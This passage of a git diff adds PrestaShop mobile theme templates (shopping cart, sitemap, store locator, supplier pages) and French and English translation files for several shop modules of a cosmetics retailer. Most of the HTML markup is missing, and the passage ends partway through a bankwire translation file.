        + + diff --git a/themes/default/mobile/shopping-cart-product-line.tpl b/themes/default/mobile/shopping-cart-product-line.tpl new file mode 100755 index 0000000..8aa0b7b --- /dev/null +++ b/themes/default/mobile/shopping-cart-product-line.tpl @@ -0,0 +1,78 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +
        + {$product.name|escape:'htmlall':'UTF-8'} +
        +
        +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:120:"...":true}

        +

        {if isset($product.attributes) && $product.attributes} - {$product.attributes|escape:'htmlall':'UTF-8'}
        {/if}{$product.description_short|strip_tags|escape:'htmlall':'UTF-8'|truncate:160:"...":true}

        +
        +
        + {if !empty($product.gift)} + {else} +
        + {if !isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed > 0} + + +
        + {if $product.minimal_quantity < ($product.cart_quantity-$quantityDisplayed) OR $product.minimal_quantity <= 1} + + + + {else} + + + {/if} + + {/if} +
        + {/if} +
        + {if !isset($noDeleteButton) || !$noDeleteButton} + {if (!isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed) > 0 && empty($product.gift)} + + {/if} + {/if} +
        + + {if !empty($product.gift)} + {l s='Gift!'} + {else} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if !$priceDisplay}{displayPrice price=$product.total_customization_wt}{else}{displayPrice price=$product.total_customization}{/if} + {else} + {if !$priceDisplay}{displayPrice price=$product.total_wt}{else}{displayPrice price=$product.total}{/if} + {/if} + {/if} + +
        + + diff --git a/themes/default/mobile/shopping-cart.tpl b/themes/default/mobile/shopping-cart.tpl new file mode 100755 index 0000000..7fd5f56 --- /dev/null +++ b/themes/default/mobile/shopping-cart.tpl @@ -0,0 +1,336 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $step!=0} + + +{/if} + {capture name=path}{l s='Your shopping cart'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        + +

        [{l s='Mon panier'}]

        + {assign var="current_step" value="summary"} + {include file="$tpl_dir./order-opc-steps.tpl"} + +

        {l s='Livraison offerte à partir de 60€ d\'achats'}

        + + +
        +
        +
        + + +{if isset($account_created)} +

        + {l s='Your account has been created.'} +

        +{/if} +{include file="$tpl_dir./errors.tpl"} + +{if isset($empty)} +

        {l s='Your shopping cart is empty.'}

        +{elseif $PS_CATALOG_MODE} +

        {l s='This store has not accepted your new order.'}

        +{else} + + +
        + + + {*if $use_taxes} + {if $priceDisplay} + + + + + {else} + + + + + {/if} + {else} + + + + + {/if*} + + + + + {*if $total_shipping_tax_exc <= 0 && !isset($virtualCart)} + + + + + {else} + {if $use_taxes} + {if $priceDisplay} + + + + + {else} + + + + + {/if} + {else} + + + + + {/if} + {/if*} + + + + + + + + + + + + + + + + + + + {foreach $products as $product} + {if $product.id_category_default!=12} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=$product@iteration%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId) || count($gift_products)} + {* Display the product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/if} + {/foreach} + {assign var='last_was_odd' value=$product@iteration%2} + {foreach $gift_products as $product} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=($product@iteration+$last_was_odd)%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId)} + {assign var='cannotModify' value=1} + {* Display the gift product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/foreach} + + {if sizeof($discounts)} + + {foreach $discounts as $discount} + + + + + + {/foreach} + + {/if} +
        {if $display_tax_label}{l s='Total products (tax excl.)'}{else}{l s='Total products'}{/if}{displayPrice price=$total_products}
        {if $display_tax_label}{l s='Total products (tax incl.)'}{else}{l s='Total products'}{/if}{displayPrice price=$total_products_wt}
        {l s='Total products'}{displayPrice price=$total_products}
        + {if $use_taxes} + {if $display_tax_label}{l s='Total gift wrapping (tax incl.):'}{else}{l s='Total gift-wrapping cost:'}{/if} + {else} + {l s='Total gift-wrapping cost:'} + {/if} + + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_wrapping_tax_exc} + {else} + {displayPrice price=$total_wrapping} + {/if} + {else} + {displayPrice price=$total_wrapping_tax_exc} + {/if} +
        {l s='Shipping'}{l s='Free Shipping!'}
        + {if $display_tax_label} + {if $use_taxes && $priceDisplay == 0} + {l s='Total vouchers (tax incl.):'} + {else} + {l s='Total vouchers (tax excl.)'} + {/if} + {else} + {l s='Total vouchers'} + {/if} + + {if $use_taxes && $priceDisplay == 0} + {assign var='total_discounts_negative' value=$total_discounts * -1} + {else} + {assign var='total_discounts_negative' value=$total_discounts_tax_exc * -1} + {/if} + {displayPrice price=$total_discounts_negative} +
        + {l s='Total'} ({l s='Hors frais de livraison'}) + {displayPrice price=$total_products}
        +
        {l s='Plus que'} {displayPrice price=60-$total_products_wt} {l s='pour bénéficier d\'une livraison gratuite en France'}*
        +
        {l s='Livraison offerte'}
        +
        + {if $voucherAllowed} + {if isset($errors_discount) && $errors_discount} +
          + {foreach $errors_discount as $k=>$error} +
        • {$error|escape:'htmlall':'UTF-8'}
        • + {/foreach} +
        + {/if} +
        +
        + +
        + +
        +
        + +
        + +
        +
        + {if $displayVouchers} +

        {l s='Take advantage of our exclusive offers:'}

        +
        + {foreach $displayVouchers as $voucher} + {if $voucher.code != ''}{$voucher.code} - {/if}{$voucher.name}
        + {/foreach} +
        + {/if} + {/if} +
        {$discount.code} - {$discount.name} + {if strlen($discount.code)}{l s='Delete'}{/if} + + {if !$priceDisplay}{displayPrice price=$discount.value_real*-1}{else}{displayPrice price=$discount.value_tax_exc*-1}{/if} +
        +
        + +{if $show_option_allow_separate_package} +

        + allow_seperated_package}checked="checked"{/if} /> + +

        +{/if} +{if !$opc} + {if Configuration::get('PS_ALLOW_MULTISHIPPING')} +

        + + +

        + {/if} +{/if} +
        + +
        +

        [{l s='Mode de livraison'}]

        +
        + {include file="./order-carrier-simple.tpl"} +
        +


        * {l s='Délai et participation aux frais de livraison pour la France métropolitaine, Corse et Monaco uniquement.'}

        +

        {l s='En savoir plus'}

        +
        + + {if isset($echantillons) && $echantillons|@count>0} +
        +

        [{l s='Sélectionnez'} 3 {l s='échantillons gratuits'}]

        +
        + {include file="./order-opc-echantillons.tpl"} +
        +
        +
        + {/if} + +
        + {l s='Total TTC'} {displayPrice price=$total_price} +
        +{*
        *} + +
        {$HOOK_SHOPPING_CART}
        +{*
        *} + +
        + {if !empty($HOOK_SHOPPING_CART_EXTRA)} +
        +
        +
        {$HOOK_SHOPPING_CART_EXTRA}
        +
        + {/if} +{/if} + +
        + +
        +
        + + +
        + {hook h='displayTopOrderRightColumn'} + {include file="./order-opc-rightColumn.tpl"} +
        + +
        + + \ No newline at end of file diff --git a/themes/default/mobile/sitemap.tpl b/themes/default/mobile/sitemap.tpl new file mode 100755 index 0000000..86f6e91 --- /dev/null +++ b/themes/default/mobile/sitemap.tpl @@ -0,0 +1,98 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +{hook h="displayMobileTopSiteMap"} +
        +
        +{if isset($categoriesTree.children)} +

        {l s='Our offers'}

        + +
          + {for $i=0 to 4} + {if isset($categoriesTree.children.$i)} + {if isset($categoriesTree.children.$i.children) && ($categoriesTree.children.$i.children|@count > 0)} + {include file="./category-tree-branch.tpl" node=$categoriesTree.children.$i} + {else} +
        • + + {$categoriesTree.children.$i.name|escape:'htmlall':'UTF-8'} + +
        • + {/if} + {/if} + {/for} +
        • + {l s='All categories'} +
            + {foreach $categoriesTree.children as $child} + {if $child.id!=12} + {include file="./category-tree-branch.tpl" node=$child last='true'} + {/if} + {/foreach} +
          +
        • +
        +{/if} + +
        +

        {l s='Sitemap'}

        + diff --git a/themes/default/mobile/stores.tpl b/themes/default/mobile/stores.tpl new file mode 100755 index 0000000..b7ea5d8 --- /dev/null +++ b/themes/default/mobile/stores.tpl @@ -0,0 +1,120 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !isset($magasins)} + +{/if} +{capture name=path}{l s='Où nous trouver'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Trouver un point de vente du laboratoire Garancia'}]

        + {if $stores|@count} +

        {l s='Here you can find our store locations. Please feel free to contact us:'}

        + {foreach $stores as $store} +
        + {if $store.has_picture}

        {/if} +

        + {$store.name|escape:'htmlall':'UTF-8'}
        + {$store.address1|escape:'htmlall':'UTF-8'}
        + {if $store.address2}{$store.address2|escape:'htmlall':'UTF-8'}{/if}
        + {$store.postcode} {$store.city|escape:'htmlall':'UTF-8'}{if $store.state}, {$store.state}{/if}
        + {$store.country|escape:'htmlall':'UTF-8'}
        + {if $store.phone}{l s='Phone:' js=0} {$store.phone}{/if} +

        + {if isset($store.working_hours)}{$store.working_hours}{/if} +
        + {/foreach} + {/if} +{if $simplifiedStoresDiplay} +{else} + +
        +
        +
        + +
        +
        + +
        +
        +
        + + + + + + + +
        {l s='#'}{l s='Store'}{l s='Address'}{l s='Distance'}
        +
        + + + + +
        +
        +
        +
        +
        +
        +
        +
        + +{/if} +
        \ No newline at end of file diff --git a/themes/default/mobile/supplier-list.tpl b/themes/default/mobile/supplier-list.tpl new file mode 100755 index 0000000..74e28d5 --- /dev/null +++ b/themes/default/mobile/supplier-list.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Suppliers:'}{/capture} +{include file='./page-title.tpl'} + +
        + +{if isset($errors) AND $errors} + {include file="$tpl_dir./errors.tpl"} +{else} +

        {strip} + + {if $nbSuppliers == 0} + {l s='There are no suppliers.'} + {else} + {if $nbSuppliers == 1} + {l s='There is %d supplier.' sprintf=$nbSuppliers} + {else} + {l s='There are %d suppliers.' sprintf=$nbSuppliers} + {/if} + {/if} + {/strip} +

        + +{if $nbSuppliers > 0} + + {include file="$tpl_dir./pagination.tpl"} +{/if} +{/if} +{include file='./sitemap.tpl'} +
        diff --git a/themes/default/mobile/supplier.tpl b/themes/default/mobile/supplier.tpl new file mode 100755 index 0000000..1526f58 --- /dev/null +++ b/themes/default/mobile/supplier.tpl @@ -0,0 +1,60 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{$supplier->name|escape:'htmlall':'UTF-8'}{/capture} +{include file='./page-title.tpl'} + +{include file="$tpl_dir./errors.tpl"} + +{if !isset($errors) OR !sizeof($errors)} +
        +

        {l s='Suppliers:'}

        + {if !empty($supplier->description) || !empty($supplier->short_description)} +
        + {if !empty($supplier->short_description)} +

        {$supplier->short_description}

        +

        {$supplier->description}

        + {l s='More'} + {else} +

        {$supplier->description}

        + {/if} +
        + {/if} + + {if $products} +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
        +
        + {include file="./pagination.tpl"} + {include file="./category-product-list.tpl" products=$products} + {include file="./pagination.tpl"} + + {else} +

        {l s='No products for this supplier.'}

        + {/if} + {include file='./sitemap.tpl'} +
        +{/if} diff --git a/themes/default/modules/advmenu/advmenu.tpl b/themes/default/modules/advmenu/advmenu.tpl new file mode 100644 index 0000000..41b5a89 --- /dev/null +++ b/themes/default/modules/advmenu/advmenu.tpl @@ -0,0 +1,105 @@ + + + + \ No newline at end of file diff --git a/themes/default/modules/antadis_diagnostic/translations/en.php b/themes/default/modules/antadis_diagnostic/translations/en.php new file mode 100755 index 0000000..fbfe7c6 --- /dev/null +++ b/themes/default/modules/antadis_diagnostic/translations/en.php @@ -0,0 +1,60 @@ +antadis_diagnostic_c9461e573cfaecd4d26347b6bbf0efc7'] = 'your-diagnosis'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_b78a3223503896721cca1303f776159b'] = 'Name'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_4883a929b635ad45291fbeabbb6412e9'] = 'Profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_4e50b399a00167cdacb79e0f3bef496b'] = 'Nom du profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_270e173e263f317c539e0d65eea01398'] = 'Description du profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_f108daf583e0bcade8bbaec1b6912785'] = 'Choisir un produit'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_821614d6c88df1b97a081ed5571a9ee1'] = 'Configuration des réponse pour le profil :'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_d64ed3e9c10229648e069f56e32f4c8e'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_8e5456591a6dfe38447f03b8a46b15e5'] = 'Détermine le profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_829c45adf79f24900d2658e389abd221'] = 'Question'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_bedf5204d9c67827147982414ce44784'] = 'Position dans le theme choisi'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_21fb5ec9e0d7007c35f9995c13deb3c4'] = 'Question déterminant le profil ?'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_f4d12f7c7c4b1aa8a5507f71518039ac'] = 'Réponse pour :'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_d64ed3e9c10229648e069f56e32f4c8e'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_c01e32656e535ae0ab88fdfae23bb7e0'] = 'Implique un produit'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_6c87a212bb53ced30fcd93e41a6151e5'] = 'Implique une lightbox'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_630f6dc397fe74e52d5189e2c80f282b'] = 'Retour à la liste'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_340a56bb5958d0a1df92ec6e9181464f'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_4a2fed44ca1aec2d5559ba9668a07e31'] = 'Implique un produit ?'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_8f8e291052be81be37b4727fd5e31a61'] = 'Implique une lightbox ?'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_cd5bcde218b9f884310551c6680909ed'] = 'Texte de la lightbox'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_f108daf583e0bcade8bbaec1b6912785'] = 'Choisir un produit'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_b78a3223503896721cca1303f776159b'] = 'Titre '; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_62b841e03c57611dd3dca5ee40e44a22'] = 'Theme'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_92c72087cf21744e194d1c98b007132b'] = 'Titre du Theme'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_17a9cecc9864e7e8493f8d2a7180229f'] = 'Position '; +$_MODULE['<{antadis_diagnostic}default>diagnosticemail_2d6c8dbb8458920911b38e731ea7492b'] = 'your-diagnosis'; +$_MODULE['<{antadis_diagnostic}default>diagnosticpdf_2d6c8dbb8458920911b38e731ea7492b'] = 'your-diagnosis'; +$_MODULE['<{antadis_diagnostic}default>form_c29b4db02e3a590f542fc48d67ce5dc4'] = 'Produit(s) pour ce profil'; +$_MODULE['<{antadis_diagnostic}default>form__d64ed3e9c10229648e069f56e32f4c8e'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>form__f82d23953042ea85c19df31837485e0b'] = 'ajouter une réponse'; +$_MODULE['<{antadis_diagnostic}default>display_d61a848bc8171e16f00b5cce13e8a633'] = 'Savéria COSTE'; +$_MODULE['<{antadis_diagnostic}default>display_a37ac9e372e05e1eadeb1925e6cfe618'] = 'Garancia Skin Diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_674f36e7f3407e6b2c69651ccd487c4e'] = 'a qualified pharmacist, shares her expertise with you to make a diagnosis of your skin.'; +$_MODULE['<{antadis_diagnostic}default>display_71515c38bbd750bd3b789688582a3c30'] = 'Are you using the right techniques? The right beauty routine?'; +$_MODULE['<{antadis_diagnostic}default>display_154e6cc42695795f9b5a284db0ffa196'] = 'Answer the following questions for a clear and accurate diagnosis.'; +$_MODULE['<{antadis_diagnostic}default>display_cc0df0867a6a1e8adebd13282fc25005'] = 'Start diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_d4137bbc3c4450b2e588cc95325aa470'] = 'Your beauty diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_d8985d36170cb7de22317b3b793537fb'] = 'Your review'; +$_MODULE['<{antadis_diagnostic}default>display_b5da19c5dbfca1602d422023d616a83c'] = 'Your magic formula'; +$_MODULE['<{antadis_diagnostic}default>display_52bdb019904f1b56e9d5d0db510de4a4'] = 'Voir les commentaires'; +$_MODULE['<{antadis_diagnostic}default>display_061bc8eb5a55c300d852edc9af89a288'] = 'Voir la video'; +$_MODULE['<{antadis_diagnostic}default>display_ebe0870af16a379c8beee2776a57d4fd'] = 'To complete your formula'; +$_MODULE['<{antadis_diagnostic}default>display_a1254c53bba08f9be26febc9ef40d804'] = 'Add Selection to Cart'; +$_MODULE['<{antadis_diagnostic}default>display_17e8103f26ba581a8dd1b18cbe34d841'] = 'Print my diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_221e274835a7d65ac9fe7cc72671ca70'] = 'Receive my diagnosis by email'; +$_MODULE['<{antadis_diagnostic}default>display_770a1a1e17972d73a5f39914e0d5c6b1'] = 'Send'; +$_MODULE['<{antadis_diagnostic}default>display_0602d06debefa749620c2fda7ba70329'] = 'Invite your friends to do their diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_7f84beab04579bef70043ca0cc72fb85'] = 'Diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_11952d7ed10766f7471bca3d795619a0'] = 'Your diagnosis has been sent by email'; +$_MODULE['<{antadis_diagnostic}default>display_eeb242b8de00f172d7ae27e6958aaedb'] = 'An error has occurred'; +$_MODULE['<{antadis_diagnostic}default>display_d20c00dcd07ce4cc975711d608e3ea81'] = 'Thank you enter your email address to receive diagnosis'; +$_MODULE['<{antadis_diagnostic}default>display_d59ed62281b8f663e40f815d1cb4db77'] = 'Enter your email'; +$_MODULE['<{antadis_diagnostic}default>display_7494b947fb8d75b27f502865f1c0a45d'] = 'Submit'; +$_MODULE['<{antadis_diagnostic}default>display_c8197e7d72f91413f98b28bda81cafb0'] = 'Next '; +$_MODULE['<{antadis_diagnostic}default>display_f5a0279004e65aa055a3b814f9f48598'] = 'Back '; diff --git a/themes/default/modules/antadis_diagnostic/translations/fr.php b/themes/default/modules/antadis_diagnostic/translations/fr.php new file mode 100755 index 0000000..8ecefa2 --- /dev/null +++ b/themes/default/modules/antadis_diagnostic/translations/fr.php @@ -0,0 +1,38 @@ +antadis_diagnostic_c9461e573cfaecd4d26347b6bbf0efc7'] = 'votre-diagnostic'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_b78a3223503896721cca1303f776159b'] = 'Nom'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_4883a929b635ad45291fbeabbb6412e9'] = 'Profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_4e50b399a00167cdacb79e0f3bef496b'] = 'Nom du profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_270e173e263f317c539e0d65eea01398'] = 'Description du profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_f108daf583e0bcade8bbaec1b6912785'] = 'Choisir un produit'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_821614d6c88df1b97a081ed5571a9ee1'] = 'Configuration des réponse pour le profil :'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticprofil_d64ed3e9c10229648e069f56e32f4c8e'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_8e5456591a6dfe38447f03b8a46b15e5'] = 'Détermine le profil'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_829c45adf79f24900d2658e389abd221'] = 'Question'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_bedf5204d9c67827147982414ce44784'] = 'Position dans le theme choisi'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_21fb5ec9e0d7007c35f9995c13deb3c4'] = 'Question déterminant le profil ?'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_f4d12f7c7c4b1aa8a5507f71518039ac'] = 'Réponse pour :'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_d64ed3e9c10229648e069f56e32f4c8e'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_c01e32656e535ae0ab88fdfae23bb7e0'] = 'Implique un produit'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticquestion_6c87a212bb53ced30fcd93e41a6151e5'] = 'Implique une lightbox'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_630f6dc397fe74e52d5189e2c80f282b'] = 'Retour à la liste'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_340a56bb5958d0a1df92ec6e9181464f'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_4a2fed44ca1aec2d5559ba9668a07e31'] = 'Implique un produit ?'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_8f8e291052be81be37b4727fd5e31a61'] = 'Implique une lightbox ?'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_cd5bcde218b9f884310551c6680909ed'] = 'Texte de la lightbox'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticresponse_f108daf583e0bcade8bbaec1b6912785'] = 'Choisir un produit'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_b78a3223503896721cca1303f776159b'] = 'Titre '; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_62b841e03c57611dd3dca5ee40e44a22'] = 'Theme'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_92c72087cf21744e194d1c98b007132b'] = 'Titre du Theme'; +$_MODULE['<{antadis_diagnostic}default>admindiagnosticsection_17a9cecc9864e7e8493f8d2a7180229f'] = 'Position '; +$_MODULE['<{antadis_diagnostic}default>diagnosticemail_2d6c8dbb8458920911b38e731ea7492b'] = 'votre-diagnostic'; +$_MODULE['<{antadis_diagnostic}default>diagnosticpdf_2d6c8dbb8458920911b38e731ea7492b'] = 'votre-diagnostic'; +$_MODULE['<{antadis_diagnostic}default>form_c29b4db02e3a590f542fc48d67ce5dc4'] = 'Produit(s) pour ce profil'; +$_MODULE['<{antadis_diagnostic}default>form__d64ed3e9c10229648e069f56e32f4c8e'] = 'Réponse'; +$_MODULE['<{antadis_diagnostic}default>form__f82d23953042ea85c19df31837485e0b'] = 'ajouter une réponse'; +$_MODULE['<{antadis_diagnostic}default>display_52bdb019904f1b56e9d5d0db510de4a4'] = 'Voir les commentaires'; +$_MODULE['<{antadis_diagnostic}default>display_061bc8eb5a55c300d852edc9af89a288'] = 'Voir la video'; +$_MODULE['<{antadis_diagnostic}default>display_5a95a425f74314a96f13a2f136992178'] = 'Partager'; diff --git a/themes/default/modules/antadis_export/translations/en.php b/themes/default/modules/antadis_export/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/antadis_export/translations/fr.php b/themes/default/modules/antadis_export/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/antadis_iframefacebook/translations/fr.php b/themes/default/modules/antadis_iframefacebook/translations/fr.php new file mode 100644 index 0000000..219b8b7 --- /dev/null +++ b/themes/default/modules/antadis_iframefacebook/translations/fr.php @@ -0,0 +1,10 @@ +antadis_iframefacebook_8cf9819abb030461a994b51bd73b7476'] = 'nos-magasins'; +$_MODULE['<{antadis_iframefacebook}default>stores_7ab6c2300ac1d74d35cadcfb39254827'] = 'Aucun magasin trouvé !'; +$_MODULE['<{antadis_iframefacebook}default>stores_e80ba8cf66845d479eb275578353e358'] = 'magasin trouvé -- voir details'; +$_MODULE['<{antadis_iframefacebook}default>stores_c3d0689b0ded3217c1b4fef6e9513930'] = 'magasins trouvés -- voir tous les résultats'; +$_MODULE['<{antadis_iframefacebook}default>stores_673ae02fffb72f0fe68a66f096a01347'] = 'téléphone'; +$_MODULE['<{antadis_iframefacebook}default>stores_9cb6cc1db7fee0f732a1650b1c2f2c52'] = 'Merci d\'indiquer votre code postal. Pour vos recherches hors France métropolitaine, merci d’indiquer une ville et un code postal'; diff --git a/themes/default/modules/bankwire/translations/en.php b/themes/default/modules/bankwire/translations/en.php new file mode 100644 index 0000000..7fc3730 --- /dev/null +++ b/themes/default/modules/bankwire/translations/en.php @@ -0,0 +1,6 @@ +payment_return_63fb3f7c94ee5d8027bf599885de279d'] = 'Do not forget to insert your order number #%d in the subject of your bank wire.'; +$_MODULE['<{bankwire}default>payment_eb1d50032721fa4c9d3518c417f91b9d'] = 'Pay by bank wire (order processing will take more time)'; diff --git a/themes/default/modules/bankwire/translations/fr.php b/themes/default/modules/bankwire/translations/fr.php new file mode 100644 index 0000000..83df046 --- /dev/null +++ b/themes/default/modules/bankwire/translations/fr.php @@ -0,0 +1,53 @@ +bankwire_85ee0d0492a4e37e6c183520f5d59c40'] = 'Virement bancaire'; +$_MODULE['<{bankwire}default>bankwire_65104b0722c068ec3e8ac48153af597b'] = 'Accepter les 